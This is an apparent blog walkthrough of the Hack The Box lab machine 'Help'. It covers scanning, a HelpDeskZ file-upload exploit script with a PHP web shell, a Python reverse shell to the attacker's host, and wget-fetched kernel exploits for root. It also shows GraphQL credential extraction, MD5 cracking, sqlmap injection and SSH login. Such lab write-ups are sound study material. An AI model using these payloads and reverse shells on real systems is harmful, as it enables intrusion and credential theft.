HTB – Help

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.121 --rate=1000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-23 08:22:00 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.121
Discovered open port 80/tcp on 10.10.10.121
Discovered open port 3000/tcp on 10.10.10.121

masscan finds three open ports. Let’s do one better with nmap scanning the discovered ports.

# nmap -n -v -Pn -p22,80,3000 -A --reason 10.10.10.121 -oN nmap.txt
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

We have two http services in the form of Apache and Node.js.

 

The default Apache page suggests more enumeration needs to be done.

Directory/File Enumeration

Let’s fuzz it with gobuster and DirBuster’s wordlist just to see what we’ll get.

# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 50 -e -u http://10.10.10.121/

=====================================================
Gobuster v2.0.0              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.121/
[+] Threads      : 50
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
=====================================================
2019/01/23 08:34:06 Starting gobuster
=====================================================
http://10.10.10.121/support (Status: 301)
http://10.10.10.121/javascript (Status: 301)
=====================================================
2019/01/23 08:39:48 Finished
=====================================================

I think I’ve seen enough. Let’s pay /support a visit.

Well, well, well. What do we have here? This must be our first attack surface.

HelpDeskZ 1.0.2 – Unauthenticated Arbitrary File Upload

Searching Google for an exploit in HelpDeskZ led me to EDB-ID 40300. Anyway, it looks like the site is running the vulnerable version.

 

According to the exploit, HelpDeskZ suffers from an unauthenticated arbitrary file upload vulnerability where the software allows file attachment with ticket submission. The minor problem lies with determining the filename of the uploaded file. However, because the eventual file name depends on the time the file was uploaded, we can make an educated guess of the timestamp by shaving a couple of seconds from the current time.

Let’s submit a fake ticket and attach test.php, which is nothing more than the following PHP code.

<pre>
<?php echo shell_exec($_GET[0]); ?>
</pre>

Hmm. It says “File is not allowed”. Is that so? Let’s take a look at the source code controlling this behavior.

if(!isset($error_msg) && $settings['ticket_attachment']==1){
  $uploaddir = UPLOAD_DIR.'tickets/';   
  if($_FILES['attachment']['error'] == 0){
    $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
    $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
    $fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
    $uploadedfile = $uploaddir.$filename;
    if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
      $show_step2 = true;
      $error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
    }else{
      $fileverification = verifyAttachment($_FILES['attachment']);
      switch($fileverification['msg_code']){
        case '1':
        $show_step2 = true;
        $error_msg = $LANG['INVALID_FILE_EXTENSION'];
        break;
        case '2':
        $show_step2 = true;
        $error_msg = $LANG['FILE_NOT_ALLOWED'];
        break;
        case '3':
        $show_step2 = true;
        $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);
        break;
      }
    }
  }
}

Two things worth nothing here. First of all, the final upload directory ends with tickets/. Second, regardless of the file verification results, the submission will ALWAYS progress to step 2 after the file has been uploaded.

In the words  : Fake News!

Where is the upload directory? If I have to guess, I would say the actual upload directory is like this:

http://10.10.10.121/support/uploads/tickets/

I cheated a bit. I actually enumerated the site for directories at a deeper level. :laughing:

Now, let’s re-purpose the exploit code and make it more adaptive to file extensions.

exploit.py
#
#Usage: python exploit.py http://10.10.10.121/support/uploads/tickets/ test.php
#

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
extension = fileName.split(".")[-1]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl + md5hash + '.' + extension
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"

Armed with the insight gleaned from the source code, let’s upload again and find out where it’s uploaded to.

c:\PENTEST>python helpdeskz.py http://10.10.10.121/support/uploads/tickets/ test.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://10.10.10.121/support/uploads/tickets/c06a88701ab923e1eb97f477b1d2e595.php
10.10.10.121/support/uploads/tickets/b2c1c3114fd256b7cdf830854783b81b.php?0=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.5%22,9001));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

browse to

http://10.10.10.121/support/uploads/tickets/b2c1c3114fd256b7cdf830854783b81b.php?0=id

Awesome.

Let’s urlencode the following reverse shell in Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
┌─[puck@parrot-lt]─[~/htb/help]
└──╼ $nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.121] 55704
/bin/sh: 0: can't access tty; job control turned off
$ cd /home
$ ls
help

Privilege Escalation

On enumerating the box the kernel version is found to be 4.4.0-116-generic. A google search results in a kernel exploit for the  version. https://www.exploit-db.com/exploits/44298
Start a simple http server and transfer it to the box then execute it.

help@help:/tmp$ wget http://10.10.14.13/44298.c
--2019-08-29 04:40:29-- http://10.10.14.13/44298.c
Connecting to 10.10.14.13:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5777 (5.6K) [text/plain]
Saving to: ‘44298.c’

44298.c 100%[====================>] 5.64K --.-KB/s in 0s

2019-08-29 04:40:29 (162 MB/s) - ‘44298.c’ saved [5777/5777]
help@help:/tmp$ gcc 44298.c -o exploit
help@help:/tmp$ chmod +x exploit
help@help:/tmp$ whoami
help
help@help:/tmp$ ./exploit
task_struct = ffff880038a29c00
uidptr = ffff88003bcb2c04
spawning root shell
root@help:/tmp# cd /
root@help:/# cd root
root@help:/root# ls
root.txt
root@help:/root# cat root.txt
b7f*****b98
root@help:/root#

or https://www.exploit-db.com/exploits/45010

$ wget http://10.10.14.5/45010.c
--2022-03-11 03:17:15-- http://10.10.14.5/45010.c
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13728 (13K) [text/x-csrc]
Saving to: '45010.c'

0K .......... ... 100% 152K=0.09s

2022-03-11 03:17:15 (152 KB/s) - '45010.c' saved [13728/13728]

$ gcc 45010.c -o puckiestyle
$ ./puckiestyle
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
python -c 'import pty; pty.spawn("bash")'

 

Afterthought

I was intrigued by the message that there’s a way to retrieve credentials by providing the right query. Turns out the Node.js service was running GraphQL, an open-source data query and manipulation language for APIs. I’m not  familiar with GraphQL so this is an excellent opportunity to learn something about it.

root@kali:~/htb# apt-get install jq
root@kali:~/htb# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq
{
"errors": [
{
"message": "Field \"user\" of type \"User\" must have a selection of subfields. Did you mean \"user { ... }\"?",
"locations": [
{
"line": 1,
"column": 2
}
]
}
]
}
root@kali:~/htb# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode 'query={user {username} }' | jq
{
"data": {
"user": {
"username": "helpme@helpme.com"
}
}
}
root@kali:~/htb# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode 'query={user {username, password} }' | jq
{
"data": {
"user": {
"username": "helpme@helpme.com",
"password": "5d3c93182bb20f07b994a7f617e99cff"
}
}
}

or with Burp

I cracked the MD5 password with https://hashkiller.co.uk/Cracker/MD5


5d3c93182bb20f07b994a7f617e99cff MD5 godhelpmeplz

note:for the file upload exploit to work i had to change the timezone

credits to : https://hackso.me/help-htb-walkthrough/

the sqlinjection part

The SQLi is in the last param. I can show by adding and 1=1-- - to the end of the url. Same download pop up. But if I add and 1=2-- - to the end of the url, I get:error -> thus blind isql injection

sqlmap -r ticket_attachment.request --level 5 --risk 3 -p param[]

I’ve got the injection. Now I’ll run with --dump. One table that looks interesting is:

Database: support
Table: staff
[1 entry]
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+                     
| id | admin | login      | email              | status | avatar | username | fullname      | timezone | password                                            | signature                      | last_login | department         | newticket_notification |                     
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+                     
| 1  | 1     | 1547216217 | support@mysite.com | Enable | NULL   | admin    | Administrator | <blank>  | d318f44739dced66793b1a603028133a76ae680e (Welcome1) | Best regards,\r\nAdministrator | 1543429746 | a:1:{i:0;s:1:"1";} | 0                      |                     
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+ 

Specifically the password hash which sqlmap was able to break as “Welcome1”.

SSH

Knowing SSH was open, I tried to connect using a handful of names – “helpme”, “admin”, “root”, “help”. help worked:

┌─[✗]─[puck@parrot-lt]─[~/htb/help]
└──╼ $ssh help@10.10.10.121
help@10.10.10.121's password: Welcome1
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have new mail.
Last login: Fri Jan 11 06:18:50 2019
help@help:~$

Author: Jacco Straathof

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *